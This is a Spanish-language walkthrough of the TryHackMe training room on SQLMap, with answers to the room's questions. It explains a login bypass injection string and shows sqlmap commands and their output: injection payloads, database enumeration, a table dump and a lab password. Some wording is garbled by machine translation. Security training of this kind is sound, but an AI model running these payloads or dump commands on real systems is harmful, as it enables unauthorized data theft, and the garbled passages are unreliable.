Hola hacketones! Bienvenidos a un nuevo CTF para la Certificación SEC1 de la ruta Cyber Security 101 de TryHackMe – SQLMap: The Basics
Tarea 1 Introducción
SQLLa inyección de código es una vulnerabilidad frecuente y un tema candente en la ciberseguridad. Para comprenderla, primero debemos entender qué es una base de datos y cómo interactúan los sitios web con ella.
Una base de datos es una colección de datos que se pueden almacenar, modificar y recuperar. Almacena datos de varias aplicaciones en un formato estructurado, lo que hace que el almacenamiento, la modificación y la recuperación sean fáciles y eficientes. Usted interactúa con varios sitios web a diario. Algunos sitios web contienen páginas donde se requiere la entrada de datos por parte del usuario.
Por ejemplo, un sitio web con una página de inicio de sesión le pide que ingrese sus credenciales y, una vez que las ingresa, verifica si son correctas y le permite iniciar sesión si lo son. Dado que muchos usuarios inician sesión en ese sitio web, ¿cómo registra ese sitio web los datos de todos estos usuarios y los verifica durante el proceso de autenticación?
Todo esto se realiza con la ayuda de una base de datos. Estos sitios web tienen bases de datos que almacenan la información del usuario y otra información, y la recuperan cuando es necesario. Así, cuando ingresa sus credenciales en la página de inicio de sesión de un sitio web, este interactúa con su base de datos para verificar si estas credenciales son correctas. De manera similar, si tiene un campo de entrada para buscar algo, por ejemplo, un campo de entrada en el sitio web de una librería le permite buscar los libros disponibles para la venta. Cuando busques un libro, el sitio web interactuará con la base de datos para recuperar el registro de ese libro y mostrarlo en el sitio web.
Ahora bien, sabemos que el sitio web solicita a la base de datos que recupere, almacene o modifique cualquier dato. Entonces, ¿cómo se produce esta interacción? Las bases de datos son administradas por sistemas de gestión de bases de datos (DBMS), como MySQL, PostgreSQL, SQLite o Microsoft.SQLServidor. Estos sistemas entienden el lenguaje de consulta estructurado (SQL). Por lo tanto, cualquier aplicación o sitio web utilizaSQLconsultas al interactuar con la base de datos.
Esta sala te enseñará los conceptos básicos deSQLinyección y cómo utilizar una herramienta automatizada para llevarla a caboSQLinyección. También profundizará en el tema de forma práctica mediante un desafío práctico.
Objetivos de aprendizaje
- SQLvulnerabilidad a la inyección
- CazaSQLinyección a través de laMapa SQLherramienta
Requisitos de la habitación
Si bien tener una sólidaSQLTener conocimientos básicos es útil, pero no es necesario para completar esta sala.
Responda las siguientes preguntas
¿Qué lenguaje de programación establece la interacción entre un sitio web y su base de datos?
sql
Tarea 2 Vulnerabilidad de inyección SQL
En la tarea anterior, estudiamos cómo los sitios web y las aplicaciones interactúan con las bases de datos para almacenar, modificar y recuperar sus datos de manera estructurada. En esta tarea, veremos cómo se produce la interacción entre una aplicación y una base de datos a través deSQLconsultas y cómo los atacantes pueden aprovechar estasSQLconsultas para realizarSQLataques de inyección.
Nota : Antes de continuar, asegúrese de probar el método manual o el automatizado.SQLLos métodos de inyección solo se podrán utilizar con la autorización del propietario de la aplicación.
Veamos un ejemplo de una página de inicio de sesión que te pide que ingreses tu nombre de usuario y contraseña para acceder. Proporcionémosle los siguientes datos:
Username: John
Password: Un@detectable444
Una vez que introduzca su nombre de usuario y contraseña, el sitio web los recibirá, realizará una consulta SQL con sus credenciales y la enviará a la base de datos.
SELECT*FROMusers WHEREusername =’John’ANDpassword =’Un@detectable444′;
Esta consulta se ejecutará en la base de datos. Según esta consulta, la base de datos buscará un usuario con el nombre especificado Johny la contraseña correspondiente Un@detectable444. Si encuentra dicho usuario, devolverá sus datos a la aplicación. Tenga en cuenta que la consulta anterior solo se ejecutará correctamente si el usuario y la contraseña coinciden en la base de datos, ya que están separados por el operador booleano «AND».
En ocasiones, cuando los datos de entrada no se validan correctamente, los atacantes pueden manipularlos e insertar consultas SQL que se ejecutarían en la base de datos para realizar las acciones deseadas. La inyección SQL tiene un efecto muy perjudicial en el mundo digital, ya que todas las organizaciones almacenan sus datos, incluida su información crítica, en bases de datos, y un ataque de inyección SQL exitoso puede comprometer dicha información.
Supongamos que la página de inicio de sesión del sitio web que mencionamos anteriormente carece de validación y saneamiento de datos. Esto significa que es vulnerable a la inyección SQL. El atacante desconoce la contraseña del usuario John. Introducirá los siguientes datos en los campos correspondientes:
Username: John
Password: abc’ OR 1=1;– –
En esta ocasión, el atacante escribió una cadena aleatoria abc y una cadena inyectada ‘ OR 1=1;– -. La consulta SQL que el sitio web enviaría a la base de datos ahora será la siguiente:
SELECT*FROMusers WHEREusername =’John’ANDpassword =’abc’OR1=1;—‘;
Esta declaración se parece a la anterior.SQLconsulta pero ahora agrega otra condición con el operador OR. Esta consulta verá si hay un usuario, John. Luego, verificará si John tiene la contraseña abc(lo cual no podría tener porque el atacante ingresó una contraseña aleatoria). Idealmente, la consulta debería fallar aquí porque espera que tanto el nombre de usuario como la contraseña sean correctos, ya que hay un ANDoperador entre ellos. Pero, esta consulta tiene otra condición, OR, entre la contraseña y una instrucción 1=1. Cualquiera de ellas si es verdadera hará que toda la consulta SQL sea exitosa. La contraseña falló, por lo que la consulta verificará la siguiente condición, que verifica si 1=1. Como sabemos, 1=1siempre es verdadero, por lo que ignorará la contraseña aleatoria ingresada antes de esto y considerará esta instrucción como verdadera, lo que ejecutará esta consulta con éxito. El — -al final de la consulta comentaría todo lo que después de 1=1, lo que significa que la consulta se ejecutaría con éxito y el atacante iniciaría sesión en la cuenta de usuario de John.
Un aspecto importante a destacar es el uso de una comilla simple ‘después de abc. Sin esta comilla simple, ‘toda la cadena ‘abc OR 1=1;– -‘se consideraría la contraseña, lo cual no es lo deseado. Sin embargo, si agregamos una comilla simple ‘después de abc, la contraseña se vería como ‘abc’ OR 1=1;—‘, que encierra la cadena original abc en la consulta y nos permite introducir una condición lógica OR 1=1, que siempre es verdadera.
Responda las siguientes preguntas
¿Qué operador booleano comprueba si al menos uno de los lados del operador es verdadero para que la condición sea verdadera?
or
¿La condición 1=1 en una consulta SQL siempre es verdadera? (SÍ/NO)
YEA
Tarea 3 Herramienta automatizada de inyección SQL
Realizar unaSQLEl ataque de inyección implica descubrir elSQLVulnerabilidad de inyección dentro de la aplicación y manipulación de la base de datos. Sin embargo, realizar todo esto manualmente puede llevar tiempo y esfuerzo.
Nota: Antes de continuar, es fundamental tener en cuenta que los comandos explicados en esta tarea no funcionarían dentro de AttackBox, ya que se trata de una URL vulnerable simulada únicamente con fines explicativos. Sin embargo, la siguiente tarea le brindará una experiencia práctica mediante una URL vulnerable para llevar a cabo este ataque.
Mapa SQLes una herramienta automatizada para detectar y explotarSQLVulnerabilidades de inyección en aplicaciones web. Simplifica el proceso de identificación de estas vulnerabilidades. Esta herramienta está integrada en algunasLinuxdistribuciones, pero puedes instalarlo fácilmente si no lo está.
Como se trata de una herramienta de línea de comandos, debe abrir suLinux Sistema operativoterminal para usarlo. El –helpcomando con SQLMap listará todas las banderas disponibles que puede usar. Si no desea agregar manualmente las banderas a cada comando, use la –wizardbandera conMapa SQLCuando uses esta opción, la herramienta te guiará paso a paso y te hará preguntas para completar el escaneo, lo que la convierte en una opción perfecta para principiantes.
Asistente interactivo
user@ubuntu:~$sqlmap –wizard ___
__H__
___ ___[«]_____ ___ ___ {1.2.4#stable}
|_ -| . [)] | .’| . |
|___|_ [«]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[text removed]
[*] starting at 08:42:50
[08:42:50] [INFO] starting wizard interface
Please enter full target URL (-u):
La –dbsbandera te ayuda a extraer todos los nombres de las bases de datos. Una vez que conozcas los nombres de las bases de datos, puedes extraer información sobre las tablas de cada una -D database_name –tables. Después de obtener las tablas, si quieres enumerar los registros que contienen, puedes usar la función correspondiente -D database_name -T table_name –dump. Las diferentes banderas de la herramienta SQLMap te permiten extraer información detallada de las bases de datos. Ahora, veamos un escenario práctico y usemos todas las banderas mencionadas para explotar una aplicación web vulnerable a la inyección SQL.
El primer paso es buscar una URL o solicitud potencialmente vulnerable. Es frecuente encontrar URLs que utilizan parámetros GET para recuperar datos. Por ejemplo, una URL como http://sqlmaptesting.thm/search?cat=1utiliza un parámetro catque toma el valor 1. Si observa alguna aplicación web que utilice parámetros GET en las URLs para recuperar datos, puede probar esa URL con la bandera -u en la herramienta SQLMap. Esto se considera una prueba basada en HTTP GET. Este enfoque se sigue cuando la aplicación utiliza parámetros GET en la URL para recuperar datos de las búsquedas.
En escenarios reales, muchas aplicaciones web dependen de cookies para mantener las sesiones de usuario, aplicar la autenticación o controlar el acceso. Al probar estas aplicaciones, simplemente proporcionar una URL con SQLMap puede no ser suficiente, ya que las solicitudes no autenticadas podrían ser redirigidas, denegadas o devolver contenido diferente. SQLMap admite pruebas basadas en cookies mediante la opción `–cookie`, que permite incluir cookies de sesión (como PHPSESSIDtokens JSESSIONIDde autenticación) directamente en la solicitud. Esto garantiza que SQLMap interactúe con la aplicación en el mismo contexto autenticado o autorizado que un usuario normal. Por ejemplo, después de iniciar sesión en una aplicación a través de un navegador y capturar la cookie de sesión, se puede pasar a SQLMap –cookie=»SESSIONID=abcdef123456″para probar con precisión los puntos de inyección que solo son accesibles después de la autenticación.
Para la demostración, utilizaremos una URL de un sitio web supuestamente vulnerable. http://sqlmaptesting.thmSupongamos que este sitio web tiene una opción de búsqueda y que, al hacer clic en ella y buscar algo, la URL se convierte en http://sqlmaptesting.thm/search/cat=1, que utiliza el parámetro GET cat=1para extraer información de la base de datos. Como sabemos, las URL con parámetros GET pueden ser vulnerables a la inyección SQL; analicemos esta URL para identificar si presenta alguna vulnerabilidad de inyección SQL.
Prueba de URL para inyección SQL
user@ubuntu:~$sqlmap -uhttp://sqlmaptesting.thm/search/cat=1 __H__
___ ___[‘]_____ ___ ___ {1.2.4#stable}
|_ -| . [,] | .’| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[text removed]
[08:43:49] [INFO] testing connection to the target URL
[08:43:49] [INFO] heuristics detected web page charset ‘ascii’
[08:43:49] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[08:43:49] [INFO] testing if the target URL content is stable
[08:43:50] [INFO] target URL content is stable
[08:43:50] [INFO] testing if GET parameter ‘cat’ is dynamic
[text removed]
[08:45:04] [INFO] GET parameter ‘cat’ appears to be ‘MySQL >= 5.0.12 AND time-based blind’ injectable
[text removed]
[08:45:08] [INFO] GET parameter ‘cat’ is ‘Generic UNION query (NULL) – 1 to 20 columns’ injectable
GET parameter ‘cat’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
—
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: cat=1 AND 2175=2175
Type: error-based
Title: MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(1846,CONCAT(0x5c,0x716a787071,(SELECT (ELT(1846=1846,1))),0x7170766a71))
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cat=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) – 11 columns
Payload: cat=1 UNION ALL SELECT CONCAT(0x716a787071,0x714d486661414f6456787a4a55796b6c7a78574f7858507a6e6a725647436e64496f4965794c6873,0x7170766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL– HMgq
—
[08:45:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[text removed]
Los resultados en la terminal anterior nos muestran que diferentes tipos deSQLLas inyecciones, como las ciegas basadas en booleanos, las basadas en errores, las ciegas basadas en tiempo y las consultas UNION, se identifican en la URL de destino. Estas son diferentes técnicas para explotar unaSQLVulnerabilidad de inyección. Por ejemplo, en el ciego basado en booleanosSQLinyección, laSQLLa consulta se modifica y 1=1se incluye una expresión booleana (que siempre es verdadera, por ejemplo, ) para extraer la información. En cambio, en la inyección SQL basada en errores, algunas consultas se modifican intencionadamente para generar errores en los resultados enviados por la base de datos. Estos errores suelen contener información valiosa sobre los datos. Del mismo modo, también se pueden emplear otras técnicas de inyección SQL para explotar una base de datos.
Los resultados del comando que ejecutamos para nuestro objetivo http://sqlmaptesting.thm/search/cat=1nos dicen que diferentes tipos deSQLEs posible realizar inyecciones en esta URL. Usemos las banderas de SQLMap, que estudiamos anteriormente, para explotarlas y extraer datos valiosos de la base de datos.
Para obtener las bases de datos, usamos la bandera –dbs. Probemos esta bandera con nuestra URL vulnerable:
Extracción de nombres de bases de datos
user@ubuntu:~$sqlmap -uhttp://sqlmaptesting.thm/search/cat=1–dbs __H__
___ ___[(]_____ ___ ___ {1.2.4#stable}
|_ -| . [(] | .’| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[text removed]
[08:49:00] [INFO] resuming back-end DBMS’ mysql’
[08:49:00] [INFO] testing connection to the target URL
[08:49:01] [INFO] heuristics detected web page charset ‘ascii’
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: cat=1 AND 2175=2175
[text removed]
[08:49:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:49:01] [INFO] fetching database names
available databases [2]:
[*] users
[*] members
[text removed]
Tras ejecutar el comando anterior, obtuvimos dos nombres de bases de datos. Seleccionamos users una de ellas y extraemos las tablas que contiene. Definiremos la base de datos después del indicador -Dy lo utilizaremos –tablesal final para extraer todos los nombres de las tablas.
Extracción de tablas
user@ubuntu:~$sqlmap -uhttp://sqlmaptesting.thm/search/cat=1-Dusers–tables __H__
___ ___[(]_____ ___ ___ {1.2.4#stable}
|_ -| . [«] | .’| . |
|___|_ [,]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[text removed]
[08:50:46] [INFO] resuming back-end DBMS’ mysql’
[08:50:46] [INFO] testing connection to the target URL
[08:50:46] [INFO] heuristics detected web page charset ‘ascii’
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: cat=1 AND 2175=2175
[text removed]
[08:50:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:50:46] [INFO] fetching tables for database: ‘users’
Database: acuart
[3 tables]
+———–+
| johnath |
| alexas |
| thomas |
+———–+
[text removed]
Ahora que tenemos todos los nombres de tabla disponibles de la base de datos, extraigamos los registros presentes en la thomas tabla. Para ello, definiremos la base de datos con el -Dindicador, la tabla con el -Tindicador y, para extraer los registros de la tabla, utilizaremos el –dumpindicador.
Extracción de registros de una tabla
user@ubuntu:~$sqlmap -uhttp://sqlmaptesting.thmsearch/cat=1-Dusers-Tthomas –dump __H__
___ ___[(]_____ ___ ___ {1.2.4#stable}
|_ -| . [(] | .’| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[text removed]
[08:51:48] [INFO] resuming back-end DBMS’ mysql’
[08:51:48] [INFO] testing connection to the target URL
[08:51:49] [INFO] heuristics detected web page charset ‘ascii’
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: cat=1 AND 2175=2175
[text removed]
[08:51:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:51:49] [INFO] fetching columns for table ‘thomas’ in database ‘users’
[08:51:49] [INFO] fetching entries for table ‘thomas’ in database’ users’
[08:51:49] [INFO] recognized possible password hashes in column ‘passhash’
do you want to store hashes to a temporary file for eventual further processing n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: users
Table: thomas
[1 entry]
+———————+————+———+
| Date | name | pass |
+———————+————+———-
| 09/09/2024 | Thomas THM | testing |
+———————+————+———+
[text removed]
Sin embargo, a diferencia de la URL utilizada para las pruebas anteriores, también puede utilizar pruebas basadas en POST, donde la aplicación envía datos en el cuerpo de la solicitud en lugar de la URL. Ejemplos de esto podrían ser formularios de inicio de sesión, formularios de registro, etc. Para seguir este enfoque, debe interceptar una solicitud POST en la página de inicio de sesión o registro y guardarla como un archivo de texto. Puede utilizar el siguiente comando para introducir esa solicitud guardada en el archivo de texto en elMapa SQLherramienta:
Probando una solicitud interceptada
user@ubuntu:~$sqlmap -rintercepted_request.txt
Nota: Aprender a interceptar y capturar solicitudes POST está fuera del alcance de esta sala.
Responda las siguientes preguntas
¿Qué indicador de la herramienta SQLMap se utiliza para extraer todas las bases de datos disponibles?
–dbs
¿Cuál sería el comando completo de SQLMap para extraer todas las tablas de la base de datos «members»? (URL vulnerable: http://sqlmaptesting.thm/search/cat=1)
sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D members –tables
Tarea 4 Ejercicio práctico
En esta tarea, adjuntamos una aplicación web vulnerable para que la pruebe.SQLVulnerabilidades de inyección. Iniciemos la máquina de laboratorio presionando el botón Iniciar máquina de laboratorio que se encuentra a continuación. La máquina se iniciará y se le mostrará una dirección IP. Ahora puede abrir la caja de ataque haciendo clic en el botón Iniciar AttackBox en la parte superior. AttackBox se abrirá para usted en la vista dividida. Utilizará esta máquina para llevar a caboSQLinyección a través de laMapa SQLherramienta.
Nota: Se recomienda encarecidamente utilizar AttackBox para esta tarea.
La aplicación web tiene una página de inicio de sesión alojada en http://MACHINE_IP/ai/login. Al visitar esta URL, verá una página de inicio de sesión vulnerable a la inyección SQL.

En la tarea anterior, vimos que si encontramos parámetros GET en la URL, esta podría ser vulnerable a la inyección SQL, y podemos copiar esa URL para usarla con SQLMap. También vimos que si hay una solicitud POST y los datos se envían dentro del cuerpo en lugar de en la URL, podemos interceptar la solicitud y usarla con la herramienta SQLMap para explotar una vulnerabilidad de inyección SQL, si la hubiera.
Sin embargo, en esta tarea, en la página de inicio de sesión, hemos utilizado solicitudes GET, pero los parámetros de esta solicitud no son visibles en la URL, como sí lo eran en el sitio web de la tarea anterior. Para probar la URL con SQLMap, necesitamos la URL junto con los parámetros GET.
Para obtener la URL completa junto con sus parámetros GET, debemos hacer clic derecho en la página de inicio de sesión y seleccionar la opción «Inspeccionar» (el proceso puede variar ligeramente según el navegador). A continuación, debemos seleccionar la pestaña «Red», ingresar credenciales de prueba en los campos de nombre de usuario y contraseña, y hacer clic en el botón «Iniciar sesión». Así, podremos ver la solicitud GET. Al hacer clic en dicha solicitud, podremos ver la solicitud GET completa con sus parámetros. Podemos copiar esta URL completa y usarla con la herramienta SQLMap para descubrir vulnerabilidades de inyección SQL y explotarlas. La solicitud completa se muestra en la siguiente captura de pantalla:

Nota: Si no puede extraer la URL mediante el proceso anterior, puede copiarla desde abajo:
http://MACHINE_IP/ai/includes/user_login?email=test&password=test
Ejecuta los comandos como se explicó en la tarea anterior en esta URL y responde las preguntas de esta tarea. Recuerda también incluir la URL entre comillas simples ‘. Esto evitará errores con caracteres especiales en la terminal, como ?.
Nota importante: Es posible que no obtenga los resultados con el escaneo simple; agregue –level=5 al final de sus comandos para realizar escaneos en profundidad. En segundo lugar, mientras ejecuta los comandos, la herramienta puede hacerle algunas preguntas; asegúrese de responderlas de la siguiente manera para que el escaneo se ejecute correctamente:
- Parece que el sistema de gestión de bases de datos (DBMS) de back-end es MySQL. ¿Desea omitir las cargas útiles de prueba específicas para otros DBMS? [Y/n]:y
- Para las pruebas restantes, ¿desea incluir todas las pruebas para ‘MySQL’ que extiendan el valor de riesgo (1) proporcionado? [Y/n]:y
- La inyección no es explotable con valores NULL. ¿Desea probar con un valor entero aleatorio para la opción ‘–union-char’? [Y/n]:y
- El parámetro GET ‘email’ es vulnerable. ¿Desea continuar probando los demás (si los hay)? [y/N]:n
Responda las siguientes preguntas
¿Cuántas bases de datos están disponibles en esta aplicación web?
6
¿Cuál es el nombre de la tabla disponible en la base de datos «ai»?
user
¿Cuál es la contraseña del correo electrónico test@chatai.com?
12345678
Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!